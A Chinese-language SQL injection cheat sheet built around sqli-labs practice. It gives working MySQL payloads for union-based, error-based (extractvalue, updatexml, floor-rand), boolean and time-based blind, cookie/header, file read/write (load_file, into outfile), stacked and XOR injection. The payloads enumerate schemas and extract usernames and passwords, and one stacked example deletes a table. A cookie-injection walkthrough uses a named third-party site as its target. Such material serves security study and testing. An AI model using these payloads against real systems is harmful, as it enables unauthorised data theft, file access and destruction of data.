预备知识

mysql必备函数

  1. database():返回当前数据库
  2. version():返回数据库版本
  3. user():返回当前用户
  4. concat(s1,s2…sn):字符串 s1,s2…sn 等多个字符串合并为一个字符串,用于合并多个字符串
  5. concat_ws(x, s1,s2…sn):同concat(s1,s2,…sn) 函数,但是每个字符串之间要加上 x,x 可以是分隔符,用于合并多个字符串,并添加分隔符
  6. group_concat:将相同行的指定列的数据连在一起
  7. substr(s, start, length):从字符串 s 的 start 位置截取长度为 length 的子字符串
  8. ascii(s):返回字符串 s 的第一个字符的 ASCII 码
  9. if(expr,v1,v2) 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2
  10. left()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。
    left(str,length):接收两个参数:
    str:一个字符串;
    length:想要截取的长度,是一个正整数;
  11. right()函数同理,从右侧截取

必备语句

(1)

show databases; -- 显示mysql中所有数据库名称

(2)

show tables; -- 显示当前数据库中所有表的名称。
show tables from database_name; -- 显示指定数据库中所有表的名称

(3)

show columns from table_name from database_name; 
show columns from database_name.table_name; -- 显示表中列名称。

几个例子

1.基本查询

mysql> select * from aa;
+------+------+
| id| name |
+------+------+
|1 | 10|
|1 | 20|
|1 | 20|
|2 | 20|
|3 | 200 |
|3 | 500 |
+------+------+

2.以id分组,把name字段的值打印在一行,逗号分隔(默认)

mysql> select id,group_concat(name) from aa group by id;
+------+--------------------+
| id| group_concat(name) |
+------+--------------------+
|1 | 10,20,20|
|2 | 20 |
|3 | 200,500|
+------+--------------------+

3.以id分组,把name字段的值打印在一行,分号分隔

mysql> select id,group_concat(name separator ';') from aa group by id;
+------+----------------------------------+
| id| group_concat(name separator ';') |
+------+----------------------------------+
|1 | 10;20;20 |
|2 | 20|
|3 | 200;500 |

mysql的全局变量

@@datadir 数据库存储路径
@@basedir mysql安装路径

几个常用符号的ASCII码

16进制 符号
0x3a :
0x7e ~

MySQL中3种注释风格

单行注释:#后面直接加注释 #this is a comment
多行注释:/注释内容/中间可以跨行
单行注释:— 后面必须要加空格

内联注释:/!注释内容/
内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!…/中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别,执行。

详细可参考以下博客:

mysql show命令用法 - 凡_仁 - 博客园 (cnblogs.com)

联合查询注入

information_schema是MySQL中简单的信息数据库,里面都是视图,不是表,所以没有具体文件,在这个数据库里面有以下几个比较敏感的视图:

视图名 视图作用 视图下的重要字段
schemata 数据库信息 schema_name(数据库名)
tables 数据库和表的关系 table_schema(数据库名称)、 table_name(表名)
columns 表和列的关系 table_schema(数据库名)、 column_name(列名)、table_name(表名)

schemata->数据库信息
schema_name 数据库名
...union select 1,group_concat(schema_name),3 from information_schema.schemata
由此查到了所有数据库

tables->数据库和表的关系
table_schema 数据库名称
table_name 表名
...union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='上一步查到的数据库'
由此查到了目标数据库的下的所有表

columns->表和列的关系
table_schema 数据库名
column_name 列名
table_name 表名
...union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'
由此查到了目标表下的所有列名

查到了列和表的具体信息,接下来查询具体数据
select 列名 from 表 where 条件
...union select 1,group_concat(id,0x3a,username,0x3a,password),3 from users
0x3a表示冒号

MYSQL基本了解:mysql中information_schema说明 - 一叶扁舟_test - 博客园 (cnblogs.com)

双查询注入:sqli-labs(5) - N0lan - 博客园 (cnblogs.com)

报错注入

报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。

(1)通过extractvalue()

extractvalue(xml_frag, xpath_expr)
extractvalue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

查数据库名:
...and extractvalue(1,concat(0x7e,(select database())))...
...union select 1,extractvalue(1,concat(0x7e,(select database())))...
注意:concat里面的查询语句要用括号包起来

查表名:
...abd extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)))...
...union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))...
注意:有时只能输出一行,可用limit 0,1限制输出行数,然后自行更改第一个参数

查列名:
...and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='目标表' limit 0,1)))...
...union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='目标表' limit 0,1)))...
注意:有时只能输出一行,可用limit 0,1限制输出行数,然后自行更改第一个参数

查具体数据:
...and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))...
...union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1)))...

有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
这里查询前5位示意:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring((select database()),1,5))))

(2)通过updatexml()

updatexml()函数与extractvalue()类似,报错方式相同,是更新xml文档的函数。
语法:updatexml(目标xml文档,xml路径,更新的内容)

查数据库名:
...and updatexml(1,concat(0x7e,(select database())),1)...
注意:concat里面的查询语句要用括号包起来

查表名:
...and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)...
注意:有时只能输出一行,可用limit 0,1限制输出行数,然后自行更改第一个参数

查列名:
...and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='目标表' limit 0,1)),1)...

查具体数据:
...and updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)...

extractvalue()能查询字符串的最大长度也为32

(3)通过concat+rand()+group_by()导致主键重复

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

rand():
生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字

floor():
对任意正或者负的十进制值向下取整

查表名:
...union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select table_name from information_schema.tables where table_schema=database() limit 0,1))

查列名:
union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select column_name from information_schema.columns where table_name='user' limit 0,1))

盲注

布尔盲注

length():返回字符串长度
mid(),substr()或substring():三个参数,用于截取字符串,第一个参数为要截取的字符串,第二、第三个参数分别指定起始位置和截取长度
ascii()和ord():返回单个字符的ASCII码

判断数据库名长度:
...or (select length(database()))=? --+
通过改变?的数值,来判断是否正确,若页面回显,即条件为真,即长度为真

查数据库名:
...or (select ascii(substr(database(),1,1)))=? --+
改变?处的ascii值并根据是否回显判断是否正确,改变substr()函数的第二个参数来截取第几个字母,需要的字母个数已由上一步查出。

查表名:
...or (select ascii(substr((table_name),1,1)) from information_schema.tables where table_schema=database() limit 0,1)=? --+
通过修改?的值并根据页面回显判断是否正确,通过修改substr()函数第二个参数来切换第几个字母,通过修改limit第一个参数来切换行

预处理——判断长度:...or (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())=? --+
通过修改?的值并根据页面回显判断长度是否正确(注意:group_concat()函数的默认分隔符逗号也算一个字符,系统计算长度时也包括它)
...or (select ascii(substr((group_concat(table_name)),1,1)) from information_schema.tables where table_schema=database())=? --+
通过修改?的值并根据页面回显判断是否正确,通过修改substr()函数第二个参数来切换第几个字母(免去了换行的麻烦)

查列名:
同上

查具体数据:
预处理——判断长度:...or (select length(group_concat(username,0x3a,password)) from users)=?--+
通过修改?的值并根据页面回显判断长度是否正确
...or (select ascii(substr((group_concat(username,0x3a,password)),1,1)) from users)=? --+
通过修改?的值并根据页面回显判断是否正确,通过修改substr()函数第二个参数来切换第几个字母

时间盲注

if(expr,v1,v2):如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2。
sleep(n):休眠n秒

判断数据库名长度:
...or if((select length(database()))>?,sleep(2),0)--+
通过改变?的数值,来判断是否正确,若页面延迟,即条件为真,即长度为真

查数据库名:
...or if((select ascii(substr(database(),1,1)))=?,sleep(2),0)--+
改变?处的ascii值并根据是否延迟判断是否正确,改变substr()函数的第二个参数来截取第几个字母,需要的字母个数已由上一步查出。

查表名:
...or if((select ascii(substr(group_concat(table_name),1,1)) from information_schema.tables where table_schema=database())>?,sleep(2),0) --+
改变?处的ascii值并根据是否延迟判断是否正确,改变substr()函数的第二个参数来截取第几个字母,需要的字母个数类似第一步可查出。

查列名:
同上

查具体数据:
预处理——判断长度:...or if((select length(group_concat(username,0x3a,password)) from users)=?,sleep(2),0)--+
通过修改?的值并根据页面延迟判断长度是否正确
...or if((select ascii(substr((group_concat(username,0x3a,password)),1,1)) from users)=? ,sleep(2),0)--+
通过修改?的值并根据页面延迟判断是否正确,通过修改substr()函数第二个参数来切换第几个字母

===============================================================

cookie注入

建议参考:cookie注入原理详解(一) - tooltime - 博客园 (cnblogs.com)

判断是不是注入点:

下面还是具体拿个实例来给大家演示下,目标站:http://www.2cto.com /Products_show.asp?id=284,同时也是注入点。我们首先要检测下按照平时的方式注入,在网址后面加 and 1=1。失败。
可见是使用了防注入系统的,但是目前我们是使用get方式提交的参数,那现在我们将“id=284”这个参数使用cookie提交看看程序对数据接收是否直接使用 request(“xx”)的方式。

操作步骤:

  1. 要更改成cookie方式提交,我们首先要访问正常的页面,即是:http://www.2cto.com /Products_show.asp?id=284,等页面完全打开之后
  2. 我们将IE地址栏清空
  3. 然后写上:javascript:alert(document.cookie=”id=”+escape(“284”)); 这里的“id=”便是“Products_show.asp?id=284”中的“id=”,“escape(“284”)”中的“284”是“Products_show.asp?id=284”中的“id=284”了,这两处要根据实际情况来定义。
  4. 写完之后按下回车网页中会弹出一个对话框
  5. 点击页面上出现的确定框。

验证是否改好了cookie:

现在更改好了cookie后我们就要试下能不能正常访问了,现在在另外一个窗口中我们打开以下地址:http://www.2cto.com /Products_show.asp? 既是将“id=284”去掉后的,然后看是否能正常访问。结果可以。

  可见访问之后的页面与访问http://www.2cto.com /Products_show.asp?id=284的时候是一样的,这样就说明程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request(“xx”)的方式。现在cookie形成的一个重要因素已经明确了,接下来我们测试下能否提交特殊字符,看程序是否对数据进行过滤。这里就是常规步骤了,略过不表。

referer注入&uagent注入

同cookie注入
闭合骚操作:
假设sql语句为:INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('$uagent', '$IP', $uname)
若对uagent进行注入VALUES (‘’and (此处可自由发挥) and’’, ‘$IP’, $uname)
即uagent为:’and (此处可自由发挥) and’

读写文件

1、load_file()导出文件
load_file(file_name):读取文件并返回该文件内容作为一个字符串。
使用条件:
A:必须有权限读取并且文件完全可读
B:预读取文件必须在服务器上
C:必须指定文件完整路径
D:预读取文件必修小于max_allowed_packet

如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的 就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有 administrators 才能访问的文件,users就别想 load_file 出来。

在实际的注入中,我们有两个难点需要解决: 绝对物理路径 构造有效的畸形语句 (报错爆出绝对路径) 在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors=on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务 器的安全将受到严重的威胁。

2、导入到文件:
into outfile
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE 权限,才能使用此语法。file_name 不能是一个已经存在的文件。

@@datadir 数据库存储路径
@@basedir mysql安装路径

(1)@@secure_file_priv
这个参数主要用来限制数据的导入导出效果(load data, into outfile等)。如果这个参数值为NULL,那么mysql会禁止用户进行导入导出操作;如果这个参数是一个具体的目录名,那么数据的导入导出只能在该目录下进行;如果这个参数为空,那么导入导出的文件位置将不受限制。
该参数的设置,可以在my.cnf配置文件中修改,而在搭建的SQLi-Labs环境中下需要在配置的phpstudy环境中修改,具体修改方法因配置环境而异,此处不作讲解。
(2)@@datadir
这个参数是MySql存放数据文件的目录,也是导入导出操作的相对路径
(3)PrivateTmp
使用Systemd进程作为启动进程的linux系统,其子进程都会有一个属性叫PrivateTmp,用于设置是否使用私有的tmp目录。

读文件:
…union select 1,2,load_file(“文件绝对路径”)
但上面读出来的字符有些会被转义,所以用…union select 1,2,hex(load_file(“文件绝对路径”))
注意文件路径里面要用双反斜杠,因为其中一个会被转义

导入到文件:
…union select 1,2,3 into outfile(“文件路径”)
路径同样要用双反斜杠

堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

show databases:列出 MySQL 数据库管理系统的数据库列表。
show tables:显示当前数据库的所有表
show columns from 数据表:显示数据表的属性,属性类型,主键信息 ,是否为 NULL,默认值等其他信息。
添加列:
alter table 表名 add column 列名 varchar(30);
修改列名: alter table 表名 change 原列名 新列名 数据类型;
修改表名:
rename table 原表名 to 新表名
alter table 原表名 rename to 新表名

定义预处理语句

PREPARE stmt_name FROM preparable_stmt;

执行预处理语句

EXECUTE stmt_name [USING @var_name [, @var_name] …];

删除(释放)定义

{DEALLOCATE | DROP} PREPARE stmt_name;

CHAR()将每个参数N理解为一个整数,其返回值为一个包含这些整数的代码值所给出的字符的字符串。NULL值被省略。

1、查询sql_mode
select @@GLOBAL.sql_mode(查看全局)

select @@SESSION.sql_mode(查看当前会话)

2、设置sql_mode
通过命令设置
SET GLOBAL sql_mode = ‘modes…’;

SET SESSION sql_mode = ‘modes…’;

在配置文件中设置
在/etc/my.cnf的[mysqld]下设置

[mysqld]
sql_mode=STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION

3、sql_mode常用值
ONLY_FULL_GROUP_BY
对于GROUP BY聚合操作,如果在SELECT中的列,没有在GROUP BY中出现,那么这个SQL是不合法的,因为列不在GROUP BY从句中

NO_AUTO_VALUE_ON_ZERO
该值影响自增长列的插入。默认设置下,插入0或NULL代表生成下一个自增长值。如果用户希望插入的值为0,而该列又是自增长的,那么这个选项就有用了。

STRICT_TRANS_TABLES
在该模式下,如果一个值不能插入到一个事务中,则中断当前的操作,对非事务表不做限制

NO_ZERO_IN_DATE
在严格模式下,不允许日期和月份为零

NO_ZERO_DATE
设置该值,mysql数据库不允许插入零日期,插入零日期会抛出错误而不是警告

ERROR_FOR_DIVISION_BY_ZERO
在insert或update过程中,如果数据被零除,则产生错误而非警告。如果未给出该模式,那么数据被零除时Mysql返回NULL

NO_AUTO_CREATE_USER
禁止GRANT创建密码为空的用户

NO_ENGINE_SUBSTITUTION
如果需要的存储引擎被禁用或未编译,那么抛出错误。不设置此值时,用默认的存储引擎替代,并抛出一个异常

PIPES_AS_CONCAT
将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样是,也和字符串的拼接函数Concat相类似

ANSI_QUOTES
启用ANSI_QUOTES后,不能用双引号来引用字符串,因为它被解释为识别符

异或注入

异或:不同为1,相同为0
1^1=0 0^0=0 1^0=1
根据1^0=1,即一真一假进行异或结果为真,这时我们可以在1的位置做手脚:构造(ascii(substr((database()),1,1))=?)^0。若构造的式子结果为真,则异或结果为真,页面可正常回显;若构造的式子结果为假,则异或结果为假,页面显示错误,这就形成了另一个意义上的布尔盲注。